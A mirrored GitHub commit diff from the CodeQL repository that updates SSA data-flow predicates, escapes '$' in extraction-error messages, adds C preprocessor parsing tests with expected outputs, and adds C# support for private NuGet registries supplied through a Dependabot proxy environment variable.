mirror of
https://github.com/github/codeql.git
synced 2025-12-16 16:53:25 +01:00
Merge branch 'main' into redsun82/rust-analyzer-update
This commit is contained in:
@@ -1007,9 +1007,11 @@ private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationI
|
||||
}
|
||||
}
|
||||
|
||||
predicate guardControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
|
||||
predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
|
||||
guard.(IRGuards::IRGuardCondition).controls(bb, branch)
|
||||
}
|
||||
|
||||
predicate keepAllPhiInputBackEdges() { any() }
|
||||
}
|
||||
|
||||
private module DataFlowIntegrationImpl = SsaImpl::DataFlowIntegration<DataFlowIntegrationInput>;
|
||||
|
||||
@@ -14,5 +14,5 @@ where
|
||||
or
|
||||
warning instanceof ExtractionUnknownProblem
|
||||
select warning,
|
||||
"Extraction failed in " + warning.getFile() + " with warning " + warning.getProblemMessage(),
|
||||
warning.getSeverity()
|
||||
"Extraction failed in " + warning.getFile() + " with warning " +
|
||||
warning.getProblemMessage().replaceAll("$", "$$"), warning.getSeverity()
|
||||
|
||||
@@ -17,5 +17,6 @@ from ExtractionError error
|
||||
where
|
||||
error instanceof ExtractionUnknownError or
|
||||
exists(error.getFile().getRelativePath())
|
||||
select error, "Extraction failed in " + error.getFile() + " with error " + error.getErrorMessage(),
|
||||
error.getSeverity()
|
||||
select error,
|
||||
"Extraction failed in " + error.getFile() + " with error " +
|
||||
error.getErrorMessage().replaceAll("$", "$$"), error.getSeverity()
|
||||
|
||||
@@ -68,31 +68,23 @@
|
||||
| test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | [input] SSA phi read(t2) |
|
||||
| test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | [input] SSA phi(*t2) |
|
||||
| test.cpp:10:8:10:9 | t2 | test.cpp:13:10:13:11 | t2 |
|
||||
| test.cpp:11:7:11:8 | [input] SSA phi read(t2) | test.cpp:15:3:15:6 | SSA phi read(t2) |
|
||||
| test.cpp:11:7:11:8 | [input] SSA phi(*t2) | test.cpp:15:3:15:6 | SSA phi(*t2) |
|
||||
| test.cpp:11:7:11:8 | [input] SSA phi read(t2) | test.cpp:15:8:15:9 | t2 |
|
||||
| test.cpp:11:7:11:8 | [input] SSA phi(*t2) | test.cpp:15:8:15:9 | t2 |
|
||||
| test.cpp:11:7:11:8 | t1 | test.cpp:21:8:21:9 | t1 |
|
||||
| test.cpp:12:5:12:10 | ... = ... | test.cpp:13:10:13:11 | t2 |
|
||||
| test.cpp:12:10:12:10 | 0 | test.cpp:12:5:12:10 | ... = ... |
|
||||
| test.cpp:13:5:13:8 | [input] SSA phi read(t2) | test.cpp:15:3:15:6 | SSA phi read(t2) |
|
||||
| test.cpp:13:5:13:8 | [input] SSA phi(*t2) | test.cpp:15:3:15:6 | SSA phi(*t2) |
|
||||
| test.cpp:13:10:13:11 | t2 | test.cpp:13:5:13:8 | [input] SSA phi read(t2) |
|
||||
| test.cpp:13:10:13:11 | t2 | test.cpp:13:5:13:8 | [input] SSA phi(*t2) |
|
||||
| test.cpp:15:3:15:6 | SSA phi read(t2) | test.cpp:15:8:15:9 | t2 |
|
||||
| test.cpp:15:3:15:6 | SSA phi(*t2) | test.cpp:15:8:15:9 | t2 |
|
||||
| test.cpp:13:10:13:11 | t2 | test.cpp:15:8:15:9 | t2 |
|
||||
| test.cpp:13:10:13:11 | t2 | test.cpp:15:8:15:9 | t2 |
|
||||
| test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | [input] SSA phi read(*t2) |
|
||||
| test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | [input] SSA phi read(t2) |
|
||||
| test.cpp:17:3:17:8 | ... = ... | test.cpp:21:8:21:9 | t1 |
|
||||
| test.cpp:17:8:17:8 | 0 | test.cpp:17:3:17:8 | ... = ... |
|
||||
| test.cpp:21:8:21:9 | t1 | test.cpp:23:15:23:16 | [input] SSA phi read(t1) |
|
||||
| test.cpp:21:8:21:9 | t1 | test.cpp:23:15:23:16 | [input] SSA phi(*t1) |
|
||||
| test.cpp:21:8:21:9 | t1 | test.cpp:23:19:23:19 | SSA phi read(t1) |
|
||||
| test.cpp:21:8:21:9 | t1 | test.cpp:23:19:23:19 | SSA phi(*t1) |
|
||||
| test.cpp:23:15:23:16 | 0 | test.cpp:23:15:23:16 | 0 |
|
||||
| test.cpp:23:15:23:16 | 0 | test.cpp:23:15:23:16 | [input] SSA phi(*i) |
|
||||
| test.cpp:23:15:23:16 | 0 | test.cpp:23:19:23:19 | SSA phi(*i) |
|
||||
| test.cpp:23:15:23:16 | [input] SSA phi read(*t2) | test.cpp:23:19:23:19 | SSA phi read(*t2) |
|
||||
| test.cpp:23:15:23:16 | [input] SSA phi read(i) | test.cpp:23:19:23:19 | SSA phi read(i) |
|
||||
| test.cpp:23:15:23:16 | [input] SSA phi read(t1) | test.cpp:23:19:23:19 | SSA phi read(t1) |
|
||||
| test.cpp:23:15:23:16 | [input] SSA phi read(t2) | test.cpp:23:19:23:19 | SSA phi read(t2) |
|
||||
| test.cpp:23:15:23:16 | [input] SSA phi(*i) | test.cpp:23:19:23:19 | SSA phi(*i) |
|
||||
| test.cpp:23:15:23:16 | [input] SSA phi(*t1) | test.cpp:23:19:23:19 | SSA phi(*t1) |
|
||||
| test.cpp:23:19:23:19 | SSA phi read(*t2) | test.cpp:24:10:24:11 | t2 |
|
||||
| test.cpp:23:19:23:19 | SSA phi read(i) | test.cpp:23:19:23:19 | i |
|
||||
| test.cpp:23:19:23:19 | SSA phi read(t1) | test.cpp:23:23:23:24 | t1 |
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
// semmle-extractor-options: -I${testdir}/more_headers/ "-U SOME_SYM"
|
||||
#undef BAR
|
||||
#define SCARY(a,aa,aaah) /* we ignore a */ (aa /* but we take aa */) /* and we ignore aaa */
|
||||
#define LOG(fmt, ...) printf("Warning: %s", fmt, __VA__ARGS__)
|
||||
#define LOG(fmt, ...) printf("Warning: %s", fmt, __VA__ARGS__)
|
||||
#include "pp.h"
|
||||
|
||||
#if 0
|
||||
@@ -59,7 +59,7 @@ public:
|
||||
#else
|
||||
#define IN_TEMPLATE
|
||||
#endif
|
||||
|
||||
|
||||
static int val;
|
||||
};
|
||||
|
||||
@@ -71,7 +71,128 @@ templateClassContext<int> tcci;
|
||||
|
||||
#define BAR
|
||||
|
||||
#if defined(BAR) && \
|
||||
#if defined(BAR) &&\
|
||||
defined(BAR)
|
||||
#warning BAR defined
|
||||
#endif
|
||||
|
||||
#if defined MACROTHREE/**hello*/ && /*world*/\
|
||||
/*hw*/ (defined(MACROONE)) /* macroone */
|
||||
#endif
|
||||
|
||||
#if defined SIMPLE_COMMENT //this comment \
|
||||
(defined(SIMPLE_COMMENT)) spans over multiple lines
|
||||
#endif
|
||||
|
||||
#if defined(FOO) &&\
|
||||
defined(BAR)
|
||||
#define CONDITIONAL_MACRO_1 1
|
||||
#endif
|
||||
|
||||
#if defined(FOO) && \
|
||||
defined(BAR) && \
|
||||
!defined(BAZ)
|
||||
#define CONDITIONAL_MACRO_2 2
|
||||
#endif
|
||||
|
||||
#define FOO 8
|
||||
#define BAR 2
|
||||
#define BAZ 4
|
||||
#if ((FOO / BAR) \
|
||||
== 4) && ((BAZ \
|
||||
* QUX) \
|
||||
> 10)
|
||||
#define CONDITIONAL_MACRO_3 3
|
||||
#endif
|
||||
|
||||
// Testing \t spaced PreprocessorIf
|
||||
#if defined(FOO) && \
|
||||
defined(BAR) && \
|
||||
defined(BAZ)
|
||||
#define CONDITIONAL_MACRO_4 4
|
||||
#endif
|
||||
|
||||
|
||||
#if defined /* //test */ SIMPLE_COMMENT //this comment \
|
||||
(defined(SIMPLE_COMMENT)) spans over multiple lines
|
||||
#endif
|
||||
|
||||
#warning foo \
|
||||
|
||||
#warning foo \
|
||||
\
|
||||
/* a comment */
|
||||
|
||||
#warning foo \
|
||||
\
|
||||
|
||||
#warning foo \
|
||||
\
|
||||
// a comment
|
||||
|
||||
|
||||
#define FOO 8
|
||||
#define BAR 2
|
||||
#define BAZ 4
|
||||
#if ((FOO / BAR) \
|
||||
== 4) && ((BAZ \
|
||||
/** comment */ \
|
||||
* QUX) \
|
||||
/** comment */ \
|
||||
> 10)
|
||||
#define CONDITIONAL_MACRO_3 3
|
||||
#endif
|
||||
|
||||
#define X 1
|
||||
#define Y 2
|
||||
#if defined(X) && \
|
||||
/*this is a comment*/ defined(Y) \
|
||||
// another comment
|
||||
#endif
|
||||
|
||||
#warning FOO\
|
||||
\
|
||||
\
|
||||
\
|
||||
BAR
|
||||
|
||||
|
||||
#warning foo \
|
||||
\
|
||||
/* comment */ \
|
||||
\
|
||||
|
||||
|
||||
#if/** */A/* ... */&&B
|
||||
#endif
|
||||
|
||||
|
||||
#if/** */ /**/ A
|
||||
#endif
|
||||
|
||||
#if \
|
||||
\
|
||||
A && B
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef /*
|
||||
|
||||
|
||||
|
||||
*/ FOOBAR
|
||||
#warning a
|
||||
#else
|
||||
#warning b
|
||||
#endif
|
||||
|
||||
|
||||
#if /*
|
||||
|
||||
//test
|
||||
|
||||
*/ FOOBAR
|
||||
#endif
|
||||
|
||||
#if/*...*//*...*/A
|
||||
#endif
|
||||
@@ -33,17 +33,64 @@
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 50 | 2 | 50 | 48 | Macro | MACRO_TEMPLATECLASSCONTEXT_REFERENCED | 5 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 54 | 3 | 54 | 39 | Macro | MACRO_TEMPLATEMETHODCONTEXT | 6 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 57 | 1 | 57 | 21 | PreprocessorIfdef | INSTANTIATION | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 59 | 1 | 59 | 6 | PreprocessorElse | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 59 | 1 | 59 | 6 | PreprocessorElse | | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 60 | 3 | 60 | 21 | Macro | IN_TEMPLATE | |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 69 | 1 | 69 | 21 | Macro | INSTANTIATION | |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 72 | 1 | 72 | 11 | Macro | BAR | |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 74 | 21 | PreprocessorIf | defined(BAR) && \\ | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 14 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 76 | 1 | 76 | 20 | PreprocessorWarning | BAR defined | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 77 | 1 | 77 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 26 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 81 | 1 | 81 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 83 | 1 | 83 | 26 | PreprocessorIf | defined SIMPLE_COMMENT | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 85 | 1 | 85 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 87 | 1 | 88 | 16 | PreprocessorIf | defined(FOO) && defined(BAR) | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 90 | 1 | 90 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 92 | 1 | 94 | 17 | PreprocessorIf | defined(FOO) && defined(BAR) && !defined(BAZ) | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 96 | 1 | 96 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 98 | 1 | 98 | 13 | Macro | FOO | 8 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 99 | 1 | 99 | 13 | Macro | BAR | 2 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 100 | 1 | 100 | 13 | Macro | BAZ | 4 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 101 | 1 | 104 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 106 | 1 | 106 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 109 | 1 | 111 | 13 | PreprocessorIf | defined(FOO) && defined(BAR) && defined(BAZ) | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 112 | 1 | 112 | 29 | Macro | CONDITIONAL_MACRO_4 | 4 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 113 | 1 | 113 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 116 | 1 | 116 | 39 | PreprocessorIf | defined SIMPLE_COMMENT | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 118 | 1 | 118 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 120 | 1 | 120 | 12 | PreprocessorWarning | foo | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 122 | 1 | 122 | 12 | PreprocessorWarning | foo | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 126 | 1 | 126 | 12 | PreprocessorWarning | foo | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 129 | 1 | 129 | 12 | PreprocessorWarning | foo | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 134 | 1 | 134 | 13 | Macro | FOO | 8 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 135 | 1 | 135 | 13 | Macro | BAR | 2 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 136 | 1 | 136 | 13 | Macro | BAZ | 4 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 137 | 1 | 142 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 144 | 1 | 144 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 146 | 1 | 146 | 11 | Macro | X | 1 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 147 | 1 | 147 | 11 | Macro | Y | 2 |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 148 | 1 | 149 | 36 | PreprocessorIf | defined(X) && defined(Y) | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 151 | 1 | 151 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 153 | 1 | 157 | 3 | PreprocessorWarning | FOO BAR | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 160 | 1 | 160 | 12 | PreprocessorWarning | foo | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 166 | 1 | 166 | 22 | PreprocessorIf | A &&B | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 167 | 1 | 167 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 170 | 1 | 170 | 20 | PreprocessorIf | A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 171 | 1 | 171 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 173 | 1 | 175 | 6 | PreprocessorIf | A && B | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 176 | 1 | 176 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 179 | 1 | 183 | 9 | PreprocessorIfdef | FOOBAR | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 185 | 1 | 185 | 5 | PreprocessorElse | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 186 | 1 | 186 | 10 | PreprocessorWarning | b | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 187 | 1 | 187 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 190 | 1 | 194 | 9 | PreprocessorIf | FOOBAR | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 195 | 1 | 195 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 197 | 1 | 197 | 18 | PreprocessorIf | A | N/A |
|
||||
| pp.cpp:0:0:0:0 | pp.cpp | 198 | 1 | 198 | 6 | PreprocessorEndif | N/A | N/A |
|
||||
| pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A |
|
||||
| pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A |
|
||||
| pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A |
|
||||
| pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A |
|
||||
| pp.h:0:0:0:0 | pp.h | 4 | 1 | 4 | 30 | PreprocessorPragma | byte_order(big_endian) | N/A |
|
||||
| pp.h:0:0:0:0 | pp.h | 5 | 1 | 5 | 33 | PreprocessorWarning | "Not in Kansas any more" | N/A |
|
||||
| pp.h:0:0:0:0 | pp.h | 7 | 1 | 11 | 8 | Macro | MULTILINE | world a long |
|
||||
|
||||
@@ -1,2 +1,3 @@
|
||||
| containserror.cpp:9:14:9:14 | Recoverable extraction error: 'x' has already been declared in the current scope | Extraction failed in containserror.cpp with error "containserror.cpp", line 9: error: "x" has already been declared in the current scope\n \tconst char *x = "Foo2 $$@ bar2 $$@ baz2";\n \t ^\n\n | 2 |
|
||||
| doesnotcompile.cpp:4:2:4:2 | Recoverable extraction error: identifier 'This' is undefined | Extraction failed in doesnotcompile.cpp with error "doesnotcompile.cpp", line 4: error: identifier "This" is undefined\n \tThis is not correct C/C++ code.\n \t^\n\n | 2 |
|
||||
| doesnotcompile.cpp:4:10:4:10 | Recoverable extraction error: expected a ';' | Extraction failed in doesnotcompile.cpp with error "doesnotcompile.cpp", line 4: error: expected a ";"\n \tThis is not correct C/C++ code.\n \t ^\n\n | 2 |
|
||||
|
||||
@@ -1,2 +1,3 @@
|
||||
| containserror.cpp:9:14:9:14 | Recoverable extraction error: 'x' has already been declared in the current scope | Extraction failed in containserror.cpp with warning "containserror.cpp", line 9: error: "x" has already been declared in the current scope\n \tconst char *x = "Foo2 $$@ bar2 $$@ baz2";\n \t ^\n\n | 1 |
|
||||
| doesnotcompile.cpp:4:2:4:2 | Recoverable extraction error: identifier 'This' is undefined | Extraction failed in doesnotcompile.cpp with warning "doesnotcompile.cpp", line 4: error: identifier "This" is undefined\n \tThis is not correct C/C++ code.\n \t^\n\n | 1 |
|
||||
| doesnotcompile.cpp:4:10:4:10 | Recoverable extraction error: expected a ';' | Extraction failed in doesnotcompile.cpp with warning "doesnotcompile.cpp", line 4: error: expected a ";"\n \tThis is not correct C/C++ code.\n \t ^\n\n | 1 |
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
| containserror.cpp:0:0:0:0 | containserror.cpp | containserror.cpp | fromSource, normalTermination |
|
||||
| containserror.cpp:0:0:0:0 | containserror.cpp | containserror.cpp | ExtractionProblem (severity 1), fromSource, normalTermination |
|
||||
| containswarning.cpp:0:0:0:0 | containswarning.cpp | containswarning.cpp | fromSource, normalTermination |
|
||||
| doesnotcompile.cpp:0:0:0:0 | doesnotcompile.cpp | doesnotcompile.cpp | ExtractionProblem (severity 1), fromSource, normalTermination |
|
||||
| file://:0:0:0:0 | | | |
|
||||
|
||||
@@ -3,3 +3,8 @@
|
||||
void containserror() {
|
||||
#error An error!
|
||||
}
|
||||
|
||||
void error_with_placeholder() {
|
||||
const char *x = "Foo1 $@ bar1 $@ baz1";
|
||||
const char *x = "Foo2 $@ bar2 $@ baz2";
|
||||
}
|
||||
@@ -1,14 +1,22 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using Semmle.Util;
|
||||
using Semmle.Util.Logging;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
{
|
||||
public class DependabotProxy : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents configurations for package registries.
|
||||
/// </summary>
|
||||
/// <param name="Type">The type of package registry.</param>
|
||||
/// <param name="URL">The URL of the package registry.</param>
|
||||
public record class RegistryConfig(string Type, string URL);
|
||||
|
||||
private readonly string host;
|
||||
private readonly string port;
|
||||
|
||||
@@ -17,6 +25,10 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
/// </summary>
|
||||
internal string Address { get; }
|
||||
/// <summary>
|
||||
/// The URLs of package registries that are configured for the proxy.
|
||||
/// </summary>
|
||||
internal HashSet<string> RegistryURLs { get; }
|
||||
/// <summary>
|
||||
/// The path to the temporary file where the certificate is stored.
|
||||
/// </summary>
|
||||
internal string? CertificatePath { get; private set; }
|
||||
@@ -67,6 +79,39 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
result.Certificate = X509Certificate2.CreateFromPem(cert);
|
||||
}
|
||||
|
||||
// Try to obtain the list of private registry URLs.
|
||||
var registryURLs = Environment.GetEnvironmentVariable(EnvironmentVariableNames.ProxyURLs);
|
||||
|
||||
if (!string.IsNullOrWhiteSpace(registryURLs))
|
||||
{
|
||||
try
|
||||
{
|
||||
// The value of the environment variable should be a JSON array of objects, such as:
|
||||
// [ { "type": "nuget_feed", "url": "https://nuget.pkg.github.com/org/index.json" } ]
|
||||
var array = JsonConvert.DeserializeObject<List<RegistryConfig>>(registryURLs);
|
||||
if (array is not null)
|
||||
{
|
||||
foreach (RegistryConfig config in array)
|
||||
{
|
||||
// The array contains all configured private registries, not just ones for C#.
|
||||
// We ignore the non-C# ones here.
|
||||
if (!config.Type.Equals("nuget_feed"))
|
||||
{
|
||||
logger.LogDebug($"Ignoring registry at '{config.URL}' since it is not of type 'nuget_feed'.");
|
||||
continue;
|
||||
}
|
||||
|
||||
logger.LogInfo($"Found private registry at '{config.URL}'");
|
||||
result.RegistryURLs.Add(config.URL);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (JsonException ex)
|
||||
{
|
||||
logger.LogError($"Unable to parse '{EnvironmentVariableNames.ProxyURLs}': {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -75,6 +120,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
this.host = host;
|
||||
this.port = port;
|
||||
this.Address = $"http://{this.host}:{this.port}";
|
||||
this.RegistryURLs = new HashSet<string>();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
|
||||
using Newtonsoft.Json.Linq;
|
||||
|
||||
using Semmle.Util;
|
||||
@@ -77,6 +76,11 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
args += " /p:EnableWindowsTargeting=true";
|
||||
}
|
||||
|
||||
if (restoreSettings.ExtraArgs is not null)
|
||||
{
|
||||
args += $" {restoreSettings.ExtraArgs}";
|
||||
}
|
||||
|
||||
return args;
|
||||
}
|
||||
|
||||
|
||||
@@ -89,5 +89,10 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
/// Contains the certificate used by the Dependabot proxy.
|
||||
/// </summary>
|
||||
public const string ProxyCertificate = "CODEQL_PROXY_CA_CERTIFICATE";
|
||||
|
||||
/// <summary>
|
||||
/// Contains the URLs of private nuget registries as a JSON array.
|
||||
/// </summary>
|
||||
public const string ProxyURLs = "CODEQL_PROXY_URLS";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
IList<string> GetNugetFeedsFromFolder(string folderPath);
|
||||
}
|
||||
|
||||
public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false);
|
||||
public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, string? ExtraArgs = null, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false);
|
||||
|
||||
public partial record class RestoreResult(bool Success, IList<string> Output)
|
||||
{
|
||||
|
||||
@@ -103,10 +103,11 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
compilationInfoContainer.CompilationInfos.Add(("NuGet feed responsiveness checked", checkNugetFeedResponsiveness ? "1" : "0"));
|
||||
|
||||
HashSet<string>? explicitFeeds = null;
|
||||
HashSet<string>? allFeeds = null;
|
||||
|
||||
try
|
||||
{
|
||||
if (checkNugetFeedResponsiveness && !CheckFeeds(out explicitFeeds))
|
||||
if (checkNugetFeedResponsiveness && !CheckFeeds(out explicitFeeds, out allFeeds))
|
||||
{
|
||||
// todo: we could also check the reachability of the inherited nuget feeds, but to use those in the fallback we would need to handle authentication too.
|
||||
var unresponsiveMissingPackageLocation = DownloadMissingPackagesFromSpecificFeeds([], explicitFeeds);
|
||||
@@ -156,7 +157,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
|
||||
var restoredProjects = RestoreSolutions(out var container);
|
||||
var projects = fileProvider.Projects.Except(restoredProjects);
|
||||
RestoreProjects(projects, out var containers);
|
||||
RestoreProjects(projects, allFeeds, out var containers);
|
||||
|
||||
var dependencies = containers.Flatten(container);
|
||||
|
||||
@@ -260,8 +261,33 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
/// Populates dependencies with the relative paths to the assets files generated by the restore.
|
||||
/// </summary>
|
||||
/// <param name="projects">A list of paths to project files.</param>
|
||||
private void RestoreProjects(IEnumerable<string> projects, out ConcurrentBag<DependencyContainer> dependencies)
|
||||
private void RestoreProjects(IEnumerable<string> projects, HashSet<string>? configuredSources, out ConcurrentBag<DependencyContainer> dependencies)
|
||||
{
|
||||
// Conservatively, we only set this to a non-null value if a Dependabot proxy is enabled.
|
||||
// This ensures that we continue to get the old behaviour where feeds are taken from
|
||||
// `nuget.config` files instead of the command-line arguments.
|
||||
string? extraArgs = null;
|
||||
|
||||
if (this.dependabotProxy is not null)
|
||||
{
|
||||
// If the Dependabot proxy is configured, then our main goal is to make `dotnet` aware
|
||||
// of the private registry feeds. However, since providing them as command-line arguments
|
||||
// to `dotnet` ignores other feeds that may be configured, we also need to add the feeds
|
||||
// we have discovered from analysing `nuget.config` files.
|
||||
var sources = configuredSources ?? new();
|
||||
this.dependabotProxy.RegistryURLs.ForEach(url => sources.Add(url));
|
||||
|
||||
// Add package sources. If any are present, they override all sources specified in
|
||||
// the configuration file(s).
|
||||
var feedArgs = new StringBuilder();
|
||||
foreach (string source in sources)
|
||||
{
|
||||
feedArgs.Append($" -s {source}");
|
||||
}
|
||||
|
||||
extraArgs = feedArgs.ToString();
|
||||
}
|
||||
|
||||
var successCount = 0;
|
||||
var nugetSourceFailures = 0;
|
||||
ConcurrentBag<DependencyContainer> collectedDependencies = [];
|
||||
@@ -276,7 +302,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
foreach (var project in projectGroup)
|
||||
{
|
||||
logger.LogInfo($"Restoring project {project}...");
|
||||
var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, TargetWindows: isWindows));
|
||||
var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, extraArgs, TargetWindows: isWindows));
|
||||
assets.AddDependenciesRange(res.AssetsFilePaths);
|
||||
lock (sync)
|
||||
{
|
||||
@@ -680,10 +706,42 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
|
||||
return (timeoutMilliSeconds, tryCount);
|
||||
}
|
||||
|
||||
private bool CheckFeeds(out HashSet<string> explicitFeeds)
|
||||
/// <summary>
|
||||
/// Checks that we can connect to all Nuget feeds that are explicitly configured in configuration files
|
||||
/// as well as any private package registry feeds that are configured.
|
||||
/// </summary>
|
||||
/// <param name="explicitFeeds">Outputs the set of explicit feeds.</param>
|
||||
/// <param name="allFeeds">Outputs the set of all feeds (explicit and inherited).</param>
|
||||
/// <returns>True if all feeds are reachable or false otherwise.</returns>
|
||||
private bool CheckFeeds(out HashSet<string> explicitFeeds, out HashSet<string> allFeeds)
|
||||
{
|
||||
logger.LogInfo("Checking Nuget feeds...");
|
||||
(explicitFeeds, var allFeeds) = GetAllFeeds();
|
||||
(explicitFeeds, allFeeds) = GetAllFeeds();
|
||||
